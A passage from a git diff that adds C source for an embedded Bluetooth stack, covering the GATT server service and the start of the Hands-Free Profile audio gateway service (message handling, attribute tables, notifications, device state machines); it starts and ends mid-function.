msg->param.phy.rx_phy); + } else { + gatts_op_t* operation = gatts_pendops_execute_out(&g_gatts_manager, GATTS_REQ_UPDATE_PHY); + if (operation) { + service = (gatts_service_t*)operation->param.phy.srv_handle; + GATT_CBACK(service->callbacks, on_phy_updated, service, &msg->param.phy.addr, msg->param.phy.status, msg->param.phy.tx_phy, + msg->param.phy.rx_phy); + bt_list_remove(g_gatts_manager.pend_ops, operation); + } + } + } break; + case GATTS_EVENT_CONN_PARAM_CHANGE: + GATTS_CALLBACK_FOREACH(g_gatts_manager.services, gatts_service_t, on_conn_param_changed, &msg->param.conn_param.addr, + msg->param.conn_param.interval, msg->param.conn_param.latency, msg->param.conn_param.timeout); + break; + default: { + + } break; + } + +end: + gatts_msg_destory(msg); +} + +static bt_status_t gatts_send_message(gatts_msg_t* msg) +{ + assert(msg); + + do_in_service_loop(gatts_process_message, msg); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t if_gatts_init(void) +{ + memset(&g_gatts_manager, 0, sizeof(g_gatts_manager)); + g_gatts_manager.started = false; + + return BT_STATUS_SUCCESS; +} + +static bt_status_t if_gatts_startup(profile_on_startup_t cb) +{ + bt_status_t status; + gatts_manager_t* manager = &g_gatts_manager; + + if (manager->started) { + cb(PROFILE_GATTS, true); + return BT_STATUS_SUCCESS; + } + + manager->services = bt_list_new((bt_list_free_cb_t)gatts_service_delete); + if (!manager->services) { + status = BT_STATUS_NOMEM; + goto fail; + } + + manager->pend_ops = bt_list_new((bt_list_free_cb_t)gatts_pendops_delete); + if (!manager->pend_ops) { + status = BT_STATUS_NOMEM; + goto fail; + } + + status = bt_sal_gatt_server_enable(); + if (status != BT_STATUS_SUCCESS) + goto fail; + + manager->started = true; + cb(PROFILE_GATTS, true); + + return BT_STATUS_SUCCESS; + +fail: + bt_list_free(manager->services); + manager->services = NULL; + bt_list_free(manager->pend_ops); + manager->pend_ops = NULL; + cb(PROFILE_GATTS, false); + + return status; +} + +static bt_status_t if_gatts_shutdown(profile_on_shutdown_t cb) +{ + gatts_manager_t* manager = &g_gatts_manager; + + if (!manager->started) { + cb(PROFILE_GATTS, true); + return BT_STATUS_SUCCESS; + } + + bt_list_free(manager->services); + manager->services = NULL; + bt_list_free(manager->pend_ops); + manager->pend_ops = NULL; + manager->started = false; + bt_sal_gatt_server_disable(); + cb(PROFILE_GATTS, true); + + return BT_STATUS_SUCCESS; +} + +static void if_gatts_cleanup(void) +{ + g_gatts_manager.started = false; +} + +static int if_gatts_get_state(void) +{ + return 1; +} + +static int if_gatts_dump(void) +{ + bt_list_node_t* snode; + bt_list_t* slist = g_gatts_manager.services; + int s_id = 0; + char uuid_str[40] = { 0 }; + + for (snode = bt_list_head(slist); snode != NULL; snode = bt_list_next(slist, snode)) { + gatts_service_t* service = (gatts_service_t*)bt_list_node(snode); + bt_list_node_t* tnode; + bt_list_t* tlist = service->tables; + int t_id = 0; + + BT_LOGI("GATT Service[%d]: ID:0x%04x", s_id++, service->srv_id); + UNUSED(s_id); + for (tnode = bt_list_head(tlist); tnode != NULL; tnode = bt_list_next(tlist, tnode)) { + service_table_t* table = (service_table_t*)bt_list_node(tnode); + gatt_element_t* element = table->elements; + + BT_LOGI("\tAttribute Table[%d]: Handle:0x%04x~0x%04x, Num:%d", t_id++, table->start_handle, table->end_handle, table->element_size); + UNUSED(t_id); + for (int i = 0; i < table->element_size; i++, element++) { + bt_uuid_to_string(&element->uuid, uuid_str, 40); + BT_LOGI("\t\t>[0x%04x][Type:%d][Prop:%04x][UUID:%s]", element->handle, element->type, element->properties, + uuid_str); + } + } + + if (bt_list_is_empty(tlist)) + BT_LOGI("\tNo Attributes were added"); + } + + return 0; +} + +static bt_status_t if_gatts_register_service(void* remote, void** phandle, gatts_callbacks_t* callbacks) +{ + CHECK_ENABLED(); + if (!phandle) + return BT_STATUS_PARM_INVALID; + + gatts_service_t* service = gatts_service_new(callbacks); + if (!service) { + BT_LOGE("New gatts service alloc failed"); + return BT_STATUS_NOMEM; + } + + bt_list_add_tail(g_gatts_manager.services, service); + + service->remote = remote; + service->manager = &g_gatts_manager; + service->user_phandle = phandle; + *phandle = service; + + return BT_STATUS_SUCCESS; +} + +static bt_status_t if_gatts_unregister_service(void* srv_handle) +{ + gatts_service_t* service = srv_handle; + + CHECK_ENABLED(); + CHECK_SERVICE_VALID(g_gatts_manager.services, service); + + bt_list_node_t* node; + bt_list_t* list = service->tables; + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + service_table_t* svc_table = (service_table_t*)bt_list_node(node); + bt_sal_gatt_server_remove_elements(svc_table->elements, svc_table->element_size); + } + + void** user_phandle = service->user_phandle; + bt_list_remove(g_gatts_manager.services, service); + *user_phandle = NULL; + + return BT_STATUS_SUCCESS; +} + +static bt_status_t if_gatts_connect(void* srv_handle, bt_address_t* addr, ble_addr_type_t addr_type) +{ + gatts_service_t* service = srv_handle; + + CHECK_ENABLED(); + CHECK_SERVICE_VALID(g_gatts_manager.services, service); + + BT_ADDR_LOG("GATTS-CONNECT-REQUEST addr:%s", addr); + return bt_sal_gatt_server_connect(PRIMARY_ADAPTER, addr, addr_type); +} + +static bt_status_t if_gatts_disconnect(void* srv_handle, bt_address_t* addr) +{ + gatts_service_t* service = srv_handle; + + CHECK_ENABLED(); + CHECK_SERVICE_VALID(g_gatts_manager.services, service); + + BT_ADDR_LOG("GATTS-DISCONNECT-REQUEST addr:%s", addr); + return bt_sal_gatt_server_cancel_connection(PRIMARY_ADAPTER, addr); +} + +static bt_status_t if_gatts_add_attr_table(void* srv_handle, gatt_srv_db_t* srv_db) +{ + gatts_service_t* service = srv_handle; + + CHECK_ENABLED(); + CHECK_SERVICE_VALID(g_gatts_manager.services, service); + + service_table_t* svc_table = find_service_table_by_id(service, srv_db->attr_db[0].handle + service->srv_id); + if (svc_table) + return BT_STATUS_PARM_INVALID; + + svc_table = service_table_new(srv_db->attr_num); + if (svc_table == NULL) + return BT_STATUS_NOMEM; + + gatt_element_t* elements = svc_table->elements; + gatt_attr_db_t* attr_inst = srv_db->attr_db; + for (int i = 0; i < srv_db->attr_num; i++, elements++, attr_inst++) { + + elements->handle = service->srv_id + attr_inst->handle; + elements->type = attr_inst->type; + elements->properties = attr_inst->properties; + elements->permissions = attr_inst->permissions; + elements->rsp_type = attr_inst->rsp_type; + elements->read_cb = attr_inst->read_cb; + elements->write_cb = attr_inst->write_cb; + elements->attr_length = attr_inst->attr_length; + elements->attr_data = NULL; + if (elements->rsp_type == ATTR_AUTO_RSP && elements->attr_length) { + elements->attr_data = malloc(elements->attr_length); + memcpy(elements->attr_data, attr_inst->attr_value, elements->attr_length); + } + + elements->uuid.type = BT_UUID128_TYPE; + bt_uuid_to_uuid128(&attr_inst->uuid, &elements->uuid); + } + svc_table->start_handle = svc_table->elements[0].handle; + svc_table->end_handle = svc_table->elements[svc_table->element_size - 1].handle; + + bt_status_t status = bt_sal_gatt_server_add_elements(svc_table->elements, svc_table->element_size); + if (status != BT_STATUS_SUCCESS) { + service_table_delete(svc_table); + return status; + } + + bt_list_add_tail(service->tables, svc_table); + return BT_STATUS_SUCCESS; +} + +static bt_status_t if_gatts_remove_attr_table(void* srv_handle, uint16_t attr_handle) +{ + gatts_service_t* service = srv_handle; + + CHECK_ENABLED(); + CHECK_SERVICE_VALID(g_gatts_manager.services, service); + + service_table_t* svc_table = find_service_table_by_id(service, attr_handle + service->srv_id); + if (!svc_table) + return BT_STATUS_PARM_INVALID; + + return bt_sal_gatt_server_remove_elements(svc_table->elements, svc_table->element_size); +} + +static bt_status_t if_gatts_set_attr_value(void* srv_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gatts_service_t* service = srv_handle; + + CHECK_ENABLED(); + CHECK_SERVICE_VALID(g_gatts_manager.services, service); + + if (!value) + return BT_STATUS_PARM_INVALID; + + gatt_element_t* element = find_service_element_by_id(service, attr_handle + service->srv_id); + if (!element) + return BT_STATUS_PARM_INVALID; + + if (!element->attr_data || !element->attr_length) + return BT_STATUS_NOT_FOUND; + + length = MIN(element->attr_length, length); + memcpy(element->attr_data, value, length); + return BT_STATUS_SUCCESS; +} + +static bt_status_t if_gatts_get_attr_value(void* srv_handle, uint16_t attr_handle, uint8_t* value, uint16_t* length) +{ + gatts_service_t* service = srv_handle; + + CHECK_ENABLED(); + CHECK_SERVICE_VALID(g_gatts_manager.services, service); + + if (!value || !length) + return BT_STATUS_PARM_INVALID; + + gatt_element_t* element = find_service_element_by_id(service, attr_handle + service->srv_id); + if (!element) + return BT_STATUS_PARM_INVALID; + + if (!element->attr_data || !element->attr_length) + return BT_STATUS_NOT_FOUND; + + *length = MIN(element->attr_length, *length); + memcpy(value, element->attr_data, *length); + return BT_STATUS_SUCCESS; +} + +static bt_status_t if_gatts_response(void* srv_handle, bt_address_t* addr, uint32_t req_handle, uint8_t* value, uint16_t length) +{ + gatts_service_t* service = srv_handle; + + CHECK_ENABLED(); + CHECK_SERVICE_VALID(g_gatts_manager.services, service); + if (!value) + return BT_STATUS_PARM_INVALID; + + return bt_sal_gatt_server_send_response(PRIMARY_ADAPTER, addr, req_handle, value, length); +} + +static bt_status_t if_gatts_notify(void* srv_handle, bt_address_t* addr, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gatts_service_t* service = srv_handle; +#if defined(CONFIG_BLUETOOTH_STACK_LE_ZBLUE) + gatt_element_t* element; +#endif + + CHECK_ENABLED(); + CHECK_SERVICE_VALID(g_gatts_manager.services, service); + if (!value) + return BT_STATUS_PARM_INVALID; + +#if defined(CONFIG_BLUETOOTH_STACK_LE_ZBLUE) + element = find_service_element_by_id(service, attr_handle + service->srv_id); + if (!element) { + BT_LOGE("%s element null", __func__); + return BT_STATUS_PARM_INVALID; + } + + return bt_sal_gatt_server_send_notification(PRIMARY_ADAPTER, addr, element, value, length); +#else + return bt_sal_gatt_server_send_notification(PRIMARY_ADAPTER, addr, attr_handle + service->srv_id, value, length); +#endif +} + +static bt_status_t if_gatts_indicate(void* srv_handle, bt_address_t* addr, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gatts_service_t* service = srv_handle; +#if defined(CONFIG_BLUETOOTH_STACK_LE_ZBLUE) + gatt_element_t* element; +#endif + + CHECK_ENABLED(); + CHECK_SERVICE_VALID(g_gatts_manager.services, service); + if (!value) + return BT_STATUS_PARM_INVALID; + +#if defined(CONFIG_BLUETOOTH_STACK_LE_ZBLUE) + element = find_service_element_by_id(service, attr_handle + service->srv_id); + if (!element) { + BT_LOGE("%s element null", __func__); + return BT_STATUS_PARM_INVALID; + } + + return bt_sal_gatt_server_send_indication(PRIMARY_ADAPTER, addr, element, value, length); +#else + return bt_sal_gatt_server_send_indication(PRIMARY_ADAPTER, addr, attr_handle + service->srv_id, value, length); +#endif +} + +static bt_status_t if_gatts_read_phy(void* srv_handle, bt_address_t* addr) +{ + gatts_service_t* service = srv_handle; + + CHECK_ENABLED(); + CHECK_SERVICE_VALID(g_gatts_manager.services, service); + + bt_status_t status = bt_sal_gatt_server_read_phy(PRIMARY_ADAPTER, addr); + + if (status == BT_STATUS_SUCCESS && service->callbacks->on_phy_read) { + gatts_op_t* op = gatts_op_new(GATTS_REQ_READ_PHY); + op->param.phy.srv_handle = srv_handle; + bt_list_add_tail(service->manager->pend_ops, op); + } + return status; +} + +static bt_status_t if_gatts_update_phy(void* srv_handle, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + gatts_service_t* service = srv_handle; + + CHECK_ENABLED(); + CHECK_SERVICE_VALID(g_gatts_manager.services, service); + + bt_status_t status = bt_sal_gatt_server_set_phy(PRIMARY_ADAPTER, addr, tx_phy, rx_phy); + + if (status == BT_STATUS_SUCCESS && service->callbacks->on_phy_updated) { + gatts_op_t* op = gatts_op_new(GATTS_REQ_UPDATE_PHY); + op->param.phy.srv_handle = srv_handle; + op->param.phy.tx_phy = tx_phy; + op->param.phy.rx_phy = rx_phy; + bt_list_add_tail(service->manager->pend_ops, op); + } + return status; +} + +static const gatts_interface_t gatts_if = { + .size = sizeof(gatts_if), + .register_service = if_gatts_register_service, + .unregister_service = if_gatts_unregister_service, + .connect = if_gatts_connect, + .disconnect = if_gatts_disconnect, + .add_attr_table = if_gatts_add_attr_table, + .remove_attr_table = if_gatts_remove_attr_table, + .set_attr_value = if_gatts_set_attr_value, + .get_attr_value = if_gatts_get_attr_value, + .response = if_gatts_response, + .notify = if_gatts_notify, + .indicate = if_gatts_indicate, + .read_phy = if_gatts_read_phy, + .update_phy = if_gatts_update_phy, +}; + +static const void* get_gatts_profile_interface(void) +{ + return (void*)&gatts_if; +} + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +void if_gatts_on_connection_state_changed(bt_address_t* addr, profile_connection_state_t state) +{ + gatts_msg_t* msg = gatts_msg_new(GATTS_EVENT_CONNECT_CHANGE, 0); + memcpy(&msg->param.connect_change.addr, addr, sizeof(bt_address_t)); + msg->param.connect_change.state = state; + msg->param.connect_change.reason = 0; + gatts_send_message(msg); +} + +void if_gatts_on_elements_added(gatt_status_t status, uint16_t element_id, uint16_t size) +{ + gatts_msg_t* msg = gatts_msg_new(GATTS_EVENT_ATTR_TABLE_ADDED, 0); + msg->param.added.element_id = element_id; + msg->param.added.status = status; + gatts_send_message(msg); +} + +void if_gatts_on_elements_removed(gatt_status_t status, uint16_t element_id, uint16_t size) +{ + gatts_msg_t* msg = gatts_msg_new(GATTS_EVENT_ATTR_TABLE_REMOVED, 0); + msg->param.removed.element_id = element_id; + msg->param.removed.status = status; + gatts_send_message(msg); +} + +void if_gatts_on_received_element_read_request(bt_address_t* addr, uint32_t request_id, uint16_t element_id) +{ + gatts_msg_t* msg = gatts_msg_new(GATTS_EVENT_READ_REQUEST, 0); + msg->param.read.element_id = element_id; + msg->param.read.request_id = request_id; + memcpy(&msg->param.read.addr, addr, sizeof(bt_address_t)); + gatts_send_message(msg); +} + +void if_gatts_on_received_element_write_request(bt_address_t* addr, uint32_t request_id, uint16_t element_id, + uint8_t* value, uint16_t offset, uint16_t length) +{ + gatts_msg_t* msg = gatts_msg_new(GATTS_EVENT_WRITE_REQUEST, length); + memcpy(&msg->param.write.addr, addr, sizeof(bt_address_t)); + msg->param.write.element_id = element_id; + msg->param.write.request_id = request_id; + msg->param.write.offset = offset; + msg->param.write.length = length; + memcpy(msg->param.write.value, value, length); + gatts_send_message(msg); +} + +void if_gatts_on_mtu_changed(bt_address_t* addr, uint32_t mtu) +{ + gatts_msg_t* msg = gatts_msg_new(GATTS_EVENT_MTU_CHANGE, 0); + memcpy(&msg->param.mtu_change.addr, addr, sizeof(bt_address_t)); + msg->param.mtu_change.mtu = mtu; + gatts_send_message(msg); +} + +void if_gatts_on_notification_sent(bt_address_t* addr, uint16_t element_id, gatt_status_t status) +{ + gatts_msg_t* msg = gatts_msg_new(GATTS_EVENT_CHANGE_SEND, 0); + msg->param.change_send.element_id = element_id; + msg->param.change_send.status = status; + memcpy(&msg->param.change_send.addr, addr, sizeof(bt_address_t)); + gatts_send_message(msg); +} + +void if_gatts_on_phy_read(bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + gatts_msg_t* msg = gatts_msg_new(GATTS_EVENT_PHY_READ, 0); + msg->param.phy.tx_phy = tx_phy; + msg->param.phy.rx_phy = rx_phy; + memcpy(&msg->param.phy.addr, addr, sizeof(bt_address_t)); + gatts_send_message(msg); +} + +void if_gatts_on_phy_updated(bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy, gatt_status_t status) +{ + gatts_msg_t* msg = gatts_msg_new(GATTS_EVENT_PHY_UPDATE, 0); + msg->param.phy.status = status; + msg->param.phy.tx_phy = tx_phy; + msg->param.phy.rx_phy = rx_phy; + memcpy(&msg->param.phy.addr, addr, sizeof(bt_address_t)); + gatts_send_message(msg); +} + +void if_gatts_on_connection_parameter_changed(bt_address_t* addr, uint16_t connection_interval, uint16_t peripheral_latency, + uint16_t supervision_timeout) +{ + gatts_msg_t* msg = gatts_msg_new(GATTS_EVENT_CONN_PARAM_CHANGE, 0); + msg->param.conn_param.interval = connection_interval; + msg->param.conn_param.latency = peripheral_latency; + msg->param.conn_param.timeout = supervision_timeout; + memcpy(&msg->param.conn_param.addr, addr, sizeof(bt_address_t)); + gatts_send_message(msg); +} + +void* if_gatts_get_remote(void* srv_handle) +{ + if (!srv_handle) + return NULL; + + gatts_service_t* service = srv_handle; + return service->remote; +} + +static const profile_service_t gatts_service = { + .auto_start = true, + .name = PROFILE_GATTS_NAME, + .id = PROFILE_GATTS, + .transport = BT_TRANSPORT_BLE, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = if_gatts_init, + .startup = if_gatts_startup, + .shutdown = if_gatts_shutdown, + .process_msg = NULL, + .get_state = if_gatts_get_state, + .get_profile_interface = get_gatts_profile_interface, + .cleanup = if_gatts_cleanup, + .dump = if_gatts_dump, +}; + +void register_gatts_service(void) +{ + register_service(&gatts_service); +} \ No newline at end of file diff --git a/service/profiles/hfp_ag/hfp_ag_event.c b/service/profiles/hfp_ag/hfp_ag_event.c new file mode 100644 index 0000000000000000000000000000000000000000..ca8ed226486ddc068fd559b7af5e0db7e628de99 --- /dev/null +++ b/service/profiles/hfp_ag/hfp_ag_event.c @@ -0,0 +1,56 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "bt_addr.h" +#include "hfp_ag_event.h" + +hfp_ag_msg_t* hfp_ag_msg_new(hfp_ag_event_t event, bt_address_t* addr) +{ + return hfp_ag_event_new_ext(event, addr, NULL, 0); +} + +hfp_ag_msg_t* hfp_ag_event_new_ext(hfp_ag_event_t event, bt_address_t* addr, + void* data, size_t size) +{ + hfp_ag_msg_t* msg; + + msg = (hfp_ag_msg_t*)zalloc(sizeof(hfp_ag_msg_t)); + if (msg == NULL) + return NULL; + + msg->event = event; + + if (addr != NULL) + memcpy(&msg->data.addr, addr, sizeof(bt_address_t)); + + if (size > 0) { + msg->data.size = size; + msg->data.data = malloc(size); + memcpy(msg->data.data, data, size); + } + + return msg; +} + +void hfp_ag_msg_destory(hfp_ag_msg_t* msg) +{ + free(msg->data.string1); + free(msg->data.string2); + free(msg->data.data); + free(msg); +} diff --git a/service/profiles/hfp_ag/hfp_ag_service.c b/service/profiles/hfp_ag/hfp_ag_service.c new file mode 100644 index 0000000000000000000000000000000000000000..1141eac732f68a6c6cfea7d5fc0c3e39595ac54c --- /dev/null +++ b/service/profiles/hfp_ag/hfp_ag_service.c @@ -0,0 +1,990 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "hfp_ag" +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stdint.h> +#include <sys/types.h> +#ifdef CONFIG_KVDB +#include <kvdb.h> +#endif + +#include "audio_control.h" +#include "bt_hfp_ag.h" +#include "bt_profile.h" +#include "bt_vendor.h" +#include "callbacks_list.h" +#include "hfp_ag_event.h" +#include "hfp_ag_service.h" +#include "hfp_ag_state_machine.h" +#include "hfp_ag_tele_service.h" +#include "sal_hfp_ag_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#ifndef CONFIG_HFP_AG_MAX_CONNECTIONS +#define CONFIG_HFP_AG_MAX_CONNECTIONS 1 +#endif + +#define CHECK_ENABLED() \ + { \ + if (!g_ag_service.started) \ + return BT_STATUS_NOT_ENABLED; \ + } + +#define AG_CALLBACK_FOREACH(_list, _cback, ...) BT_CALLBACK_FOREACH(_list, hfp_ag_callbacks_t, _cback, ##__VA_ARGS__) + +/**************************************************************************** + * Private Types + ****************************************************************************/ +typedef struct +{ + bool started; + bool offloading; + uint8_t max_connections; + bt_list_t* ag_devices; + callbacks_list_t* callbacks; + pthread_mutex_t device_lock; +} ag_service_t; + +typedef struct +{ + bt_address_t addr; + ag_state_machine_t* agsm; +} ag_device_t; + +/**************************************************************************** + * Private Function Prototypes + ****************************************************************************/ +bt_status_t hfp_ag_send_message(hfp_ag_msg_t* msg); +static void hfp_ag_process_message(void* data); +static bool hfp_ag_unregister_callbacks(void** remote, void* cookie); + +/**************************************************************************** + * Private Data + ****************************************************************************/ +static ag_service_t g_ag_service = { + .started = false, + .ag_devices = NULL, + .callbacks = NULL, +}; + +static uint32_t ag_support_features = HFP_BRSF_AG_NREC | HFP_BRSF_AG_HFINDICATORS | HFP_BRSF_AG_ENHANCED_CALLSTATUS | HFP_BRSF_AG_3WAYCALL | HFP_BRSF_AG_ENHANCED_CALLCONTROL | HFP_BRSF_AG_REJECT_CALL | HFP_BRSF_AG_EXTENDED_ERRORRESULT | HFP_BRSF_AG_CODEC_NEGOTIATION | HFP_BRSF_AG_eSCO_S4T2_SETTING; + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +static bool ag_device_cmp(void* device, void* addr) +{ + return bt_addr_compare(&((ag_device_t*)device)->addr, addr) == 0; +} + +static ag_device_t* find_ag_device_by_addr(bt_address_t* addr) +{ + return bt_list_find(g_ag_service.ag_devices, ag_device_cmp, addr); +} + +static ag_device_t* find_ag_device_by_state(hfp_ag_state_t state) +{ + bt_list_t* list = g_ag_service.ag_devices; + bt_list_node_t* node; + + if (!list) + return NULL; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + ag_device_t* device = bt_list_node(node); + if (ag_state_machine_get_state(device->agsm) == state) { + return device; + } + } + + return NULL; +} + +static ag_device_t* ag_device_new(bt_address_t* addr, ag_state_machine_t* agsm) +{ + ag_device_t* device = malloc(sizeof(ag_device_t)); + if (!device) + return NULL; + + memcpy(&device->addr, addr, sizeof(bt_address_t)); + device->agsm = agsm; + + return device; +} + +static void ag_device_delete(ag_device_t* device) +{ + if (!device) + return; + + hfp_ag_msg_t* msg = hfp_ag_msg_new(AG_DISCONNECT, &device->addr); + if (msg == NULL) + return; + + ag_state_machine_dispatch(device->agsm, msg); + ag_state_machine_destory(device->agsm); + hfp_ag_msg_destory(msg); + free(device); +} + +static ag_state_machine_t* get_state_machine(bt_address_t* addr) +{ + ag_state_machine_t* agsm; + ag_device_t* device; + + if (!g_ag_service.started) + return NULL; + + device = find_ag_device_by_addr(addr); + if (device) + return device->agsm; + + agsm = ag_state_machine_new(addr, (void*)&g_ag_service); + if (!agsm) { + BT_LOGE("Create state machine failed"); + return NULL; + } + + ag_state_machine_set_offloading(agsm, g_ag_service.offloading); + device = ag_device_new(addr, agsm); + if (!device) { + BT_LOGE("New device alloc failed"); + ag_state_machine_destory(agsm); + return NULL; + } + + bt_list_add_tail(g_ag_service.ag_devices, device); + + return agsm; +} + +static uint8_t get_current_connnection_cnt(void) +{ + bt_list_t* list = g_ag_service.ag_devices; + bt_list_node_t* node; + uint8_t cnt = 0; + + pthread_mutex_lock(&g_ag_service.device_lock); + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + ag_device_t* device = bt_list_node(node); + if (ag_state_machine_get_state(device->agsm) >= HFP_AG_STATE_CONNECTED || ag_state_machine_get_state(device->agsm) == HFP_AG_STATE_CONNECTING) + cnt++; + } + pthread_mutex_unlock(&g_ag_service.device_lock); + + return cnt; +} + +/* + * [31:16] Proprietary features for internal use. + * [15:0] BRSF features to be send to HF. + */ +static uint32_t get_ag_features(void) +{ +#if defined(CONFIG_KVDB) && defined(__NuttX__) + return property_get_int32("persist.bluetooth.hfp.ag_features", ag_support_features); +#else + return ag_support_features; +#endif +} + +static void ag_startup(profile_on_startup_t on_startup) +{ + bt_status_t status; + pthread_mutexattr_t attr; + ag_service_t* service = &g_ag_service; + + if (service->started) { + on_startup(PROFILE_HFP_AG, true); + return; + } + + service->max_connections = CONFIG_HFP_AG_MAX_CONNECTIONS; + service->ag_devices = bt_list_new((bt_list_free_cb_t)ag_device_delete); + service->callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + if (!service->ag_devices || !service->callbacks) { + status = BT_STATUS_NOMEM; + goto fail; + } + + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + pthread_mutex_init(&service->device_lock, &attr); + + status = bt_sal_hfp_ag_init((get_ag_features() & 0xFFFF), service->max_connections); + if (status != BT_STATUS_SUCCESS) + goto fail; + + tele_service_init(); + service->started = true; + on_startup(PROFILE_HFP_AG, true); + return; + +fail: + bt_list_free(service->ag_devices); + service->ag_devices = NULL; + bt_callbacks_list_free(service->callbacks); + service->callbacks = NULL; + pthread_mutex_destroy(&service->device_lock); + on_startup(PROFILE_HFP_AG, false); +} + +static void ag_shutdown(profile_on_shutdown_t on_shutdown) +{ + if (!g_ag_service.started) { + on_shutdown(PROFILE_HFP_AG, true); + return; + } + + tele_service_cleanup(); + pthread_mutex_lock(&g_ag_service.device_lock); + g_ag_service.started = false; + bt_list_free(g_ag_service.ag_devices); + g_ag_service.ag_devices = NULL; + pthread_mutex_unlock(&g_ag_service.device_lock); + pthread_mutex_destroy(&g_ag_service.device_lock); + bt_callbacks_list_free(g_ag_service.callbacks); + g_ag_service.callbacks = NULL; + bt_sal_hfp_ag_cleanup(); + on_shutdown(PROFILE_HFP_AG, true); +} + +static void ag_dispatch_msg_foreach(void* data, void* context) +{ + ag_device_t* device = (ag_device_t*)data; + + ag_state_machine_dispatch(device->agsm, (hfp_ag_msg_t*)context); +} + +static void hfp_ag_process_message(void* data) +{ + hfp_ag_msg_t* msg = (hfp_ag_msg_t*)data; + + if (!g_ag_service.started && msg->event != AG_STARTUP) { + hfp_ag_msg_destory(msg); + return; + } + + switch (msg->event) { + case AG_STARTUP: + ag_startup((profile_on_startup_t)msg->data.func); + break; + case AG_SHUTDOWN: + ag_shutdown((profile_on_shutdown_t)msg->data.func); + break; + case AG_DEVICE_STATUS_CHANGED: + case AG_PHONE_STATE_CHANGE: + case AG_SET_VOLUME: + case AG_SET_INBAND_RING_ENABLE: + case AG_DIALING_RESULT: + pthread_mutex_lock(&g_ag_service.device_lock); + bt_list_foreach(g_ag_service.ag_devices, ag_dispatch_msg_foreach, msg); + pthread_mutex_unlock(&g_ag_service.device_lock); + break; + default: { + pthread_mutex_lock(&g_ag_service.device_lock); + ag_state_machine_t* agsm = get_state_machine(&msg->data.addr); + if (!agsm) { + pthread_mutex_unlock(&g_ag_service.device_lock); + break; + } + + if (msg->event == AG_STACK_EVENT_AUDIO_STATE_CHANGED + && msg->data.valueint1 == HFP_AUDIO_STATE_CONNECTED) { + /* Make this device active. TODO: set active device by App. */ + bt_list_move(g_ag_service.ag_devices, g_ag_service.ag_devices, + find_ag_device_by_addr(&msg->data.addr), true); + } + + ag_state_machine_dispatch(agsm, msg); + pthread_mutex_unlock(&g_ag_service.device_lock); + break; + } + } + + hfp_ag_msg_destory(msg); +} + +bt_status_t hfp_ag_send_message(hfp_ag_msg_t* msg) +{ + assert(msg); + + do_in_service_loop(hfp_ag_process_message, msg); + + return BT_STATUS_SUCCESS; +} + +bt_status_t hfp_ag_send_event(bt_address_t* addr, hfp_ag_event_t evt) +{ + hfp_ag_msg_t* msg = hfp_ag_msg_new(evt, addr); + + if (!msg) + return BT_STATUS_NOMEM; + + return hfp_ag_send_message(msg); +} + +bool hfp_ag_on_sco_start(void) +{ + ag_device_t* device; + + device = find_ag_device_by_state(HFP_AG_STATE_AUDIO_CONNECTED); + if (!device) { + BT_LOGD("%s: sco not found", __func__); + return false; + } + + if (!g_ag_service.offloading) { + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STARTED); + return true; + } + + if (hfp_ag_send_event(&device->addr, AG_OFFLOAD_START_REQ) != BT_STATUS_SUCCESS) { + BT_LOGE("%s: failed to send msg", __func__); + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_START_FAIL); + return true; + } + + BT_LOGD("%s: send sco offload start", __func__); + /* AUDIO_CTRL_EVT_STARTED would be generated at AG_OFFLOAD_START_EVT */ + return true; +} + +bool hfp_ag_on_sco_stop(void) +{ + ag_device_t* device; + + device = find_ag_device_by_state(HFP_AG_STATE_AUDIO_CONNECTED); + if (!device) { + BT_LOGE("%s: sco not found", __func__); + return false; + } + + if (!g_ag_service.offloading) { + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + return true; + } + + if (hfp_ag_send_event(&device->addr, AG_OFFLOAD_STOP_REQ) != BT_STATUS_SUCCESS) { + BT_LOGE("%s: failed to send msg", __func__); + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + return true; + } + + BT_LOGD("%s: send sco offload stop", __func__); + /* AUDIO_CTRL_EVT_STOPPED would be generated at AG_OFFLOAD_STOP_EVT */ + return true; +} + +static bt_status_t hfp_ag_init(void) +{ + bt_status_t ret; + + ret = 